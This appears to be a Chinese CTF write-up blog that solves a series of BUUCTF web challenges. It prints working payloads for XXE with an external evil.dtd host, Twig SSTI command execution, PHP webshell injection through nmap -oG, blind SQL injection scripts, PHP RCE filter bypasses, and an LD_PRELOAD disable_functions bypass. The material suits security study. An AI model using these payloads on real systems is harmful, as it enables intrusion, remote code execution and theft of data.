例如:
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe; ]>
<foo>&evil;</foo>
外部evil.dtd中的内容
<!ENTITY evil SYSTEM “file:///d:/1.txt” >

###这个题直接抓包写xxe即可

1
2
3
4
5
6
7
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>&xxe;</username>
<password>any</password>
</user>

e3e0b725-36bc-4b83-9ec8-5fa91df20593.png

[GWCTF 2019]我有一个数据库

打开还是几乎啥也没有,直接dirsearch扫,扫出来phpmyadmin页面,为phpmyadmin数据库

查询相关漏洞并注意phpmyadmin版本为4.8.1,判断可能有CVE-2018-12613(文件包含漏洞,phpMyAdmin 4.8.0-4.8.1)

df4575b4e0c69976f9fe7acc4af54183.png

然后尝试包含本地文件,得到flag

8b1f1e65cf444a8168bb979fbca58a19.png

[BJDCTF2020]Cookie is so stable

flag页面能登录,登录后会回显出我们输入的用户名,要想到ssti模版注入

e3e0b725-36bc-4b83-9ec8-5fdf20593.png

各种语言发生ssti注入的模板,如下:
python: jinja2 mako tornado django
php:smarty twig Blade
java:jade velocity jsp

尝试后为Twig模块

twig常用的注入payload:

1
2
3
4
5
6
7
8
9
10
11
12
>{{'/etc/passwd'|file_excerpt(1,30)}}
>{{app.request.files.get(1).__construct('/etc/passwd','')}}
>{{app.request.files.get(1).openFile.fread(99)}}
>{{_self.env.registerUndefinedFilterCallback("exec")}}
>{{_self.env.getFilter("whoami")}}
>{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
>{{["id"]|map("system")|join(",")
>{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
>{{["id",0]|sort("system")|join(",")}}
>{{["id"]|filter("system")|join(",")}}
>{{[0,0]|reduce("system","id")|join(",")}}
>{{['cat /etc/passwd']|filter('system')}}

直接输入回显你想干什么,联系题目判断可能要从cookie处注入,bp抓包又漏信息,cookie都抓不全

浏览器看到登录请求包里面的cookie有user这一项,将其修改为注入命令,成功得到flag

{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}

[BSidesCF 2020]Had a bad day

访问两个按钮可以看猫猫和狗狗,注意到url上category在猫猫和狗狗之间改变,尝试伪协议读取源代码?category=php://filter/read=convert.base64-encode/resource=index.php

然后报错回显include(php://filter/read=convert.base64-encode/resource=index.php.php),这里既能看出来确实可以伪协议读取,也能看出来我们的.php多余了,猜测可能会自动补.php

去掉.php后成功读取到源代码,重要的一段为

1
2
3
4
5
6
7
8
9
10
11
12
< ?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

然后就是读取flag了,这里dirsearch应该是能扫出来flag.php的,但是经典没扫出来,扫出来后发现只有<!-- Can you read this flag? -->,所以还是要伪协议读取flag.php

filter伪协议可以套一层参数,如(本题中包含woofers,meowers,index三个中的一个即可):
?category=php://filter/read=convert.base64-encode/woofers/resource=flag 或
?category=php://filter/read=index/convert.base64-encode/resource=flag (顺序可以变换)

插一个知识点是PHP对文件是否存在不关心,因为他只关心你最终所在的目录位置,甚至中间多套几层也不影响
所以可以构造payload去尝试读取flag.php文件
category=php://filter/read=convert.base64-encode/resource=meowers/../flag

然后base64解码得到flag

[安洵杯 2019]easy_serialize_php php反序列化字符串逃逸

访问后点击直接给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 < ?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST); //替换post为变量,可覆盖

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

设置$function == ‘phpinfo’,看到auto_append_file项为d0g3_f1ag.php(这里为搜索源代码中的过滤词f1ag找到),可能为flag所在,同时源代码中还要file_get_contents函数,只要能控制参数为d0g3_f1ag.php即可得到flag

通过extract函数我们可以覆盖_SESSION数组中的元素,但是因为_SESSION[img]的值设置在我们覆盖后,所以我们直接覆盖是没有意义的,但是又因为filter函数对序列化后的对象的替换操作满足反序列化字符串逃逸的条件,所以我们可以通过反序列化字符串逃逸来间接控制_SESSION[img]

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
// $a="d0g3_f1ag.php";
// print_r(base64_encode($a));
// $a="/d0g3_fllllllag";
// print_r(base64_encode($a));
$function='";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:8:"function";s:1:"a"};';
$_SESSION["user"] = 'phpflagflagflagflagflag';
$_SESSION['function'] = $function;
$_SESSION['img'] = base64_encode('guest_img.png');
// print_r(serialize($_SESSION));
$serialize_info = filter(serialize($_SESSION));
print_r($serialize_info);
//a:3:{s:4:"user";s:23:"";s:8:"function";s:64:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:8:"function";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
//a:3:{s:4:"user";s:23:"";s:8:"function";s:64:"";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:8:"function";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

这里通过在user中添加被替换的字符串来控制一部分序列化后的字符串中的有关function的变为user的值

a:3:{s:4:”user”;s:23:”";s:8:"function";s:64:"“;s:3:”img”;s:20:”ZDBnM19mbGxsbGxsYWc=“;s:8:”function”;s:1:”a“;}“;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}

这样我们就成功将img的值改为了我们想要包含的文件的base64,接下来按_SESSION[键名]=值post传入参数即可

_SESSION[user] = phpflagflagflagflagflag&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:8:"function";s:1:"a";}

得到$flag = 'flag in /d0g3_fllllllag';

然后换个要包含的参数即可

_SESSION[user] = phpflagflagflagflagflag&_SESSION[function]=";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:8:"function";s:1:"a";}

得到flag

[强网杯 2019]高明的黑客

访问后直接下载备份文件,得到超级多php文件和一个index.html

看了几个后发现基本上都是get和post很多很抽象的参数,如果eval,但是大部分都会在eval之前设置成新的值,也就是不能利用,所以我们要用脚本去测试哪一个能用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import re
import requests
import os

files=os.listdir('D:/phpStudy/PHPTutorial/WWW/src/')
reg1=re.compile(r'(?<=_GET\[\').*(?=\'\])')
reg2=re.compile(r'(?<=_POST\[\').*(?=\'\])')
# for i in files: #一次性测试一个php文件的全部get请求
# url="http://localhost/src/"+i
# f=open("D:/phpStudy/PHPTutorial/WWW/src/"+i)
# data=f.read()
# f.close()
# result=reg1.findall(data)
# payload=url+"?"
# for j in result:
# payload=payload+j+"=echo xianxin;&"
# print(payload)
# html=requests.get(payload)
# if "xianxin" in html.text:
# print(payload)
# exit(1)

f=open("D:/phpStudy/PHPTutorial/WWW/src/xk0SzyKwfzw.php") #分别测试每个get请求
data=f.read()
f.close()
result=reg1.findall(data)
for i in result:
payload="http://localhost/src/xk0SzyKwfzw.php?"+i+"=echo xianxin;"
html=requests.get(payload)
if "xianxin" in html.text:
print(payload)
exit(1)

# for i in files: #一次性测试一个php文件的全部POST请求
# datas={}
# url="http://localhost/src/"+i
# f=open("D:/phpStudy/PHPTutorial/WWW/src/"+i)
# data=f.read()
# f.close()
# result=reg2.findall(data)
# for j in result:
# datas[j]="echo xianxin;"
# req=requests.post(url,data = data)
# print(url)
# if "xianxin" in req.text:
# print(url)
# exit(1)

# f=open("D:/phpStudy/PHPTutorial/WWW/src/xk0SzyKwfzw.php") #分别测试每个POST请求
# data=f.read()
# f.close()
# result2=reg2.findall(data)
# for k in result2:
# req = requests.post(url,data={k:"echo xxxxxx;"})
# if "xianxin" in html.text:
# print(payload)
# exit(1)

因为一个一个参数测试太慢,所以选择先判断是哪个php文件,再判断是哪个参数

30d63332c5ab325251297ecb3263727b.png
bf4e1d351a400831caf868962184a374.png

找到参数后去环境里面RCE即可得到flag

xk0SzyKwfzw.php?Efa5BVG=cat /flag

[BUUCTF 2018]Online Tool [网鼎杯 2020 朱雀组]Nmap

nmap命令

关于nmap保存文件和读取文件的方式,有几种主流方式
-oG:grep保存
-oN:正常保存
-oX:xml格式保存
-oA:将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中
-iL:从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。如果使用-iL-,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息
-oN:把扫描结果重定向到一个可读的文件logfilename中。

escapeshellarg()+escapeshellcmd() 之殇

第一题' <?php @eval($_POST["hack"]);?> -oG hack.php '
7d28d6e7-19f2-42a2-a488-7dcec75f177f.png

第二题因为有对php的waf所以要用

127.0.0.1 | ' <?=@eval($_POST["cmd"]);?> -oG shell.phtml '

也可以用预期解读取文件的方法,源代码里面给了flag在/flag,所以利用-iL参数读取flag

127.0.0.1’ -iL /flag -oN vege.txt ’

[SWPU2019]Web1

注册时发现admin已经存在,后登录,看到广告会打印在页面上,以为是xss,没想到是sql注入

注入点在广告名,这个在我尝试模版注入时发现+被替换,既然存在过滤,那必然存在漏洞,尝试sql注入后发现要进到广告详情里面才能触发,原理为在回显到页面时进行了转义处理,但在进到广告详情时会再次从数据库中获得初始信息

然后就是注入了,过滤还是不少的,有空格,-,+,or,and,#等,空格用/**/,但是or还是挺致命的,既破坏了我们的order,也破坏了我们的information,然后就是破坏掉了我们的注释符,选择用’闭合后面的’,将sql语句变为select * from ads where title = '$title'注入命令,'' limit 0,1;

不过还是先看看列数吧,order by用group by代替,当然直接union select 1,2,3,···也可以

1’group//by//22,’1
1’group//by//23,’1
Unknown column ‘23’ in ‘group statement’

无敌了无敌了,22个列也是无敌了

1’union//select//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,18,19,20,21,22,’1

回显位为2,3

1’union//select//1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,18,19,20,21,22,’1
web1

数据库名为web1

然后就是怎么替代information_schema,我们要找到另外一个也能保存所有数据的表,这里使用mysql.innodb_table_stats

1’union//select//1,(select//group_concat(table_name)//from//mysql.innodb_table_stats//where/**/database_name=’web1’),3,4,5,6,7,8,9,10,11,12,13,14,15,16,118,19,20,21,22,’1
ads,users

获得表名,但是还是没有列名,这里要无列名注入

1’union//select//1,(select//group_concat(b)//from//(select//1,2//as//b,3//union//select//*//from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,18,19,20,21,22,’1
2,flag,admin,xianxin

上面这句话的原理为(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a创建了一个包含users所有数据且列名更换为1,2,3的a表,然后再用as引用或者在前面用反引号引用来表示列名即可获得数据

1’union//select//1,(select//group_concat(b)//from//(select//1,2,3//as//b//union//select//*//from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,18,19,20,21,22,’1
3,flag{5f355c8b-850a-454f-9879-4e8d733a22bc},53e217ad4c721eb9565cf25a5ec3b66e,202cb962ac59075b964b07152d234b70

第一次猜错列了,第二次就拿到flag了

[极客大挑战 2019]FinalSQL

进去之后提示了sql盲注,先找找注入点,登录界面的两个参数尝试后发现回显一直都是一样的,用sleep也没用,一开始还以为是和之前一个题一样暗ban了sleep要用randombolb函数代替,但是看见还有几个按钮没按,先按一下看看

按完后进入url为/search.php?id=1,2,3,4,5 这五个页面,很明显,都没有flag,但是之前做过一个sql布尔盲注题,也是存在1和2这种两个以上不同回显的页面,可以利用if语句分别跳转到两个页面判断ascii值,所以猜测id存在注入

先试一下?id=1’,回显变为error!(这里回显的error!代表sql语句报错,后面回显的error!!!代表id未查询到,猜测应该是这样),然后试一下常规注入,发现有waf,回显为可别让我逮住了,先fuzz测试一下

ebf52382-3304-465f-9647-8e87eddc4603.png

过滤了+,#,空格,union,/**/,if等,这里因为–+和#都被过滤,但^没有被过滤,为了避免闭合问题和if被过滤的问题,我们选用^来进行布尔盲注,因为0^0=0,0^1=1,所以我们选用?id=0^(判断语句)

http://fd7e6d6c-6fb8-422e-b459-7c5e5c4ae7cb.node5.buuoj.cn:81/search.php?id=0^(ASCII(SUBSTRING(database(),1,1))>100)

先尝试一下,发现>100为正常回显1对应的页面NO! Not this! Click others~~~,<100为error!!!,所以可以布尔盲注,直接写个二分法脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
#http://fd7e6d6c-6fb8-422e-b459-7c5e5c4ae7cb.node5.buuoj.cn:81/search.php?id=0^(ASCII(SUBSTRING(database(),1,1))>100) geek
#http://fd7e6d6c-6fb8-422e-b459-7c5e5c4ae7cb.node5.buuoj.cn:81/search.php?id=0^(ASCII(SUBSTRING((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),1,1))>100) F1naI1y,Flaaaaag
#http://fd7e6d6c-6fb8-422e-b459-7c5e5c4ae7cb.node5.buuoj.cn:81/search.php?id=0^(ASCII(SUBSTRING((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),1,1))>100) id,fl4gawsl
url="http://fd7e6d6c-6fb8-422e-b459-7c5e5c4ae7cb.node5.buuoj.cn:81/search.php"
database=""
table=""
column=""
flag=""
i=0

while True:
i=i+1
left=32
right=127
while left<right:
mid=(left+right)//2
# payload=f"?id=0^(ASCII(SUBSTRING(database(),{i},1))>{mid})"
# payload=f"?id=0^(ASCII(SUBSTRING((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{i},1))>{mid})"
# payload=f"?id=0^(ASCII(SUBSTRING((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{i},1))>{mid})"
# payload=f"?id=0^(ASCII(SUBSTRING((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))>{mid})"
# payload=f"?id=0^(ASCII(SUBSTRING((select(group_concat(fl4gawsl))from(Flaaaaag)),{i},1))>{mid})";
payload=f"?id=0^(ASCII(SUBSTRING((select(group_concat(id,username,password))from(F1naI1y)),{i},1))>{mid})";
res=requests.get(url+payload).text
if "Click" in res:
left=mid+1
else:
right=mid
if left !=32:
# database+=chr(left)
# print(database)
# table+=chr(left)
# print(table)
# column+=chr(left)
# print(column)
flag+=chr(left)
print(flag)
else:
break

首先爆破数据库名为geek,再爆破表名为F1naI1y,Flaaaaag,然后爆破Flaaaaag里面的列名为id,fl4gawsl,最后爆破fl4gawsl的数据,发现为NO!不是哥们

那就是flag不在这里了不在这里你起这名字恶心人

所以我们再去爆破另外一个表F1naI1y,爆破出列名为id,username,password,然后爆破数据(这里最好在concat时用~将三个元素分开,这里懒得再跑一次脚本了)

等待一段时间后在第9个password里面发现flag

7669f2162a8a720d96daa32e972f2c63.png

[CISCN 2019 初赛]Love Math

一个RCE的题,限制很多

限制条件:
1.参数c字符数不能超过80个字符
2.不能含有空格,\t,\r,\n,\,单双引号,中括号
3.使用的单词/函数必须在白名单中

在白名单函数中有base_convert函数,作用为转换进制,且最多支持2进制到36进制的转换,也就是我们可以通过该函数用数字获得所有字母

但是想直接代码执行的话我们没有空格,常规绕过也难以绕过,顶多只能执行像phpinfo(),system(ls)这种无空格的函数

所以我们要想办法构造出空格来,这里可以通过用白名单中的dechex()将十进制转换为16进制,然后再用base_convert函数构造出hex2bin()函数将16进制转换为ascii码

然后在进行构造时发现字数超过80个,这里就要引入动态(可变)函数

动态(可变)函数
PHP中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数,例如: $a = “assert”; $a.”(…)”;
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。 可变函数不能用于例如 eval() , echo , print , unset() , isset() , empty() , include() , require() 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

这里就可以用白名单中的pi作为变量名来节约空间

/index.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898))) //exec('hex2bin(dechex(109270211257898))') => exec('cat f*')

另外一种方法就是可以通过构造$_GET请求来突破字数限制

/index.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs='cat /flag'
base_convert(37907361743,10,36) => “hex2bin”
dechex(1598506324) => “5f474554”
$pi=hex2bin(“5f474554”) => $pi=”_GET” //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

还可以通过getallheaders利用HeaderRCE

getallheaders — 获取全部 HTTP 请求头信息
getallheaders用法可以参考:https://www.php.net/manual/zh/function.getallheaders.php

/index.php?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
在HTTP请求的Header中直接添加命令即可
base_convert(696468,10,36) => “exec”
$pi(8768397090111664438,10,30) => “getallheaders”
exec(getallheaders(){1})
操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy

最后也是最能减少字数的就是通过利用异或得到函数名和命令

1
2
3
4
5
6
7
8
9
10
11
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}

利用该脚本我们可以利用异或构造出Payload:
/index.php?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1='ls /'

[极客大挑战 2019]RCE ME

进去之后给了源码,是无字母数字RCE,这个用异或绕过或者取反绕过都可以

```?code=$_=”{{{"^"?<>/";${$_}[_]();&_=phpinfo //$_=_GET;$_GET[_]();``` ### 执行phpinfo,在phpinfo里面找到disable_functions栏,禁用了非常多函数,诸如system,exec ### 这里就很难直接进行RCE

1
`?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=system&__='ls /'`
### 进行上面的操作无法执行命令 ### 这里就要想办法绕过了,我们先上传个马然后用蚁剑连接,然后才能进行下面的操作
1
2
3
4
5
6
7
8
9
10
<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[test]))';
$d=urlencode(~$c);
echo $d;
?>
>?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6); ### 然后蚁剑连接,在根目录发现flag和readflag两个文件,第一个打开是空的,第二个应该是要执行查询flag的命令 ### 但是我们大部分的命令都执行不了,所以我们要想办法绕过,这里有两个选择,一个是蚁剑插件disable_functions ### 另一个是利用动态链接库——LD_PRELOAD >一般来说,最简单的绕过disable_function的办法,dl函数,proc_open函数,漏洞版本的imagemagic等 这里的话都过滤的比较好, 这时候,就可以用这段时间比较好用的环境变量 LD_preload + mail劫持so来执行系统命令 https://www.anquanke.com/post/id/175403 https://www.freebuf.com/articles/web/192052.html 具体原理上面讲的比我好,大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD ### 将github里面的disablefunc_x64.so和bypass_disablefunc.php放在/var/tmp/里面,然后执行命令 >`http://72f0b7b4-f952-4654-9f28-781dc1026b5b.node5.buuoj.cn:81/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include('/var/tmp/bypass_disablefunc.php')&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so` >`//?code=$_GET['_']($_GET['__']);` ### LD_PRELOAD >突破思路: 创建新进程 用c编写我们的恶意代码,将其转化为 so文件 让我们的 so文件为LD_PRELOAD 让我们的 so文件优先加载 运行主体 php函数 ### 编写hack.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("cat /flag >> /var/tmp/test.php");
system("tac /flag >> /var/tmp/test.php");
system("more /flag >> /var/tmp/test.php");
system("head -2 /flag >> /var/tmp/test.php");
system("tail /flag >> /var/tmp/test.php");
system("/readflag >> /var/tmp/test.php");

}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
>getenv:获取环境变量的值 unsetenv:用来删除一个环境变量 system:定的命令名称或程序名称传给要被命令处理器执行的主机环境 payload 函数大概是说 查询 flag 并将flag返回到/var/tmp/文件夹下,flag返回形式为 test.php。 ### 使用linux将我们的 .c 变为 so >gcc -shared -fPIC hack.c -o getflag.so ### 书写php文件
1
2
3
4
5
<?php
putenv("LD_PRELOAD=/var/tmp/getflag.so");
mail("","","","");
error_log("",1,"","");
?>
>LD_PRELOAD=/var/tmp/getflag.so 意思是 LD_PRELOAD 是/var/tmp/文件夹下的 getflag.so 文件. ### 上传我们的 getflag.so 文件和 shell.php 文件 ### 然后执行把我们的php文件包含进来进行命令执行 >`http://72f0b7b4-f952-4654-9f28-781dc1026b5b.node5.buuoj.cn:81/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include('/var/tmp/bypass_disablefunc.php')&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so` >`//?code=$_GET['_']($_GET['__']);` ### 之后到 var/tmp/文件下寻找test.php文件即可 # [De1CTF 2019]SSRF Me ### 访问页面后直接给出源码,调整一下缩进得到源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox):
os.mkdir(self.sandbox)

def Exec(self):
result = {'code': 500}
if self.checkSign():
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
try:
with open("./%s/result.txt" % self.sandbox, 'r') as f:
result['code'] = 200
result['data'] = f.read()
except:
result['code'] = 500
result['data'] = "Action Error"
else:
result['msg'] = "Sign Error"
return result

def checkSign(self):
return getSign(self.action, self.param) == self.sign

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta', methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr

if waf(param):
return "No Hacker!!!!"

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check = param.strip().lower()
return check.startswith(("gopher", "file"))

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)
### 大体代码的功能重点在/geneSign的计算md5和/De1ta的触发task.Exec()来scan访问并写入文件和read读取文件 ### 漏洞存在于task.Exec()函数中的scan和read两个分支,在通过scan的`urllib.urlopen(param).read()[:50]`来进行ssrf写入数据后,再通过read来读取并回显数据,即可达成ssrf ### 但是在scan分支中存在对于gopher和file两个协议的waf,限制了我们直接通过scan获取数据 ### 同时在执行task.Exec()函数时要保证cookie中的sign与action匹配,由于/geneSign的计算md5功能默认action为scan,所以想要获得read功能还要进一步操作 ### 首先,直接爆破md5获得key肯定是不太现实了,不过注意到在task.Exec()函数中判断分支用的是`if "xxx" in xxx` ,所以我们可以让scan和read在同一个action中,也就是构造scanread或者readscan这两种action,这两个也对应了两种不同的绕过方法 ### 首先是构造scanread对应的sign,这就要用到HASH长度拓展攻击 [HASH长度拓展攻击](https://www.cnblogs.com/yunen/p/13624595.html) ### 首先先去/geneSign的计算一下scan为action的md5,再利用工具得到在原字符串后面加上read后对应的md5 >第一次尝试param为http://127.0.0.1/flag.txt PS E:\ctf\web\tools\hash-ext-attack-master> python hash_ext_attack.py 2025-03-01 11:07:50.713 | DEBUG | common.md5_manual:__init__:17 - init...... 请输入已知明文:scan 请输入已知hash: 8f7ea5b28a9ba1ac99e1d7cf503fd7a1 请输入扩展字符: read 请输入密钥长度:41 2025-03-01 11:08:03.952 | INFO | common.HashExtAttack:run:65 - 已知明文:b'scan' 2025-03-01 11:08:03.954 | INFO | common.HashExtAttack:run:66 - 已知hash:b'8f7ea5b28a9ba1ac99e1d7cf503fd7a1' 2025-03-01 11:08:03.955 | INFO | common.HashExtAttack:run:68 - 新明文:b'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x01\x00\x00\x00\x00\x00\x00read' 2025-03-01 11:08:03.956 | INFO | common.HashExtAttack:run:69 - 新明文(url编码):scan%80%00%00%00%00%00%00%00%00%00%00h%01%00%00%00%00%00%00read 2025-03-01 11:08:03.957 | INFO | common.HashExtAttack:run:71 - 新hash:bb72f50510b6ddcb0ae36f2a98fcba4c >第二次尝试param为flag.txt PS E:\ctf\web\tools\hash-ext-attack-master> python hash_ext_attack.py 2025-03-01 11:09:09.095 | DEBUG | common.md5_manual:__init__:17 - init...... 请输入已知明文:scan 请输入已知hash: 2e46cf8b94b682f1bb7b2ea87a86d387 请输入扩展字符: read 请输入密钥长度:24 2025-03-01 11:09:19.204 | INFO | common.HashExtAttack:run:65 - 已知明文:b'scan' 2025-03-01 11:09:19.207 | INFO | common.HashExtAttack:run:66 - 已知hash:b'2e46cf8b94b682f1bb7b2ea87a86d387' 2025-03-01 11:09:19.208 | INFO | common.HashExtAttack:run:68 - 新明文:b'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read' 2025-03-01 11:09:19.209 | INFO | common.HashExtAttack:run:69 - 新明文(url编码):scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%E0%00%00%00%00%00%00%00read 2025-03-01 11:09:19.210 | INFO | common.HashExtAttack:run:71 - 新hash:59ea99be204ee960afcf37c80d841291 ### 得到新明文和新hash后作为cookie传入/De1ta,同时get传入param进行读取,写入,回显操作 ### 运用第一个http协议读取文件失败 ![6866403029738ec21f81ef3f0d2a22f2.png](https://pics.lwzheng.tech/2025/03/01/67c27b5899f41.png) >这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径 flag.txt 或 ./flag.txt 去访问,也可以使用类似的 file:///app/flag.txt 去访问,但是 file 关键字在黑名单里,可以使用 local_file 代替 ### 直接用flag.txt作为参数读取成功 ![2f135cca878fc01f89e7b1f0d3dc5eb3.png](https://pics.lwzheng.tech/2025/03/01/67c27b632ebd9.png) ### 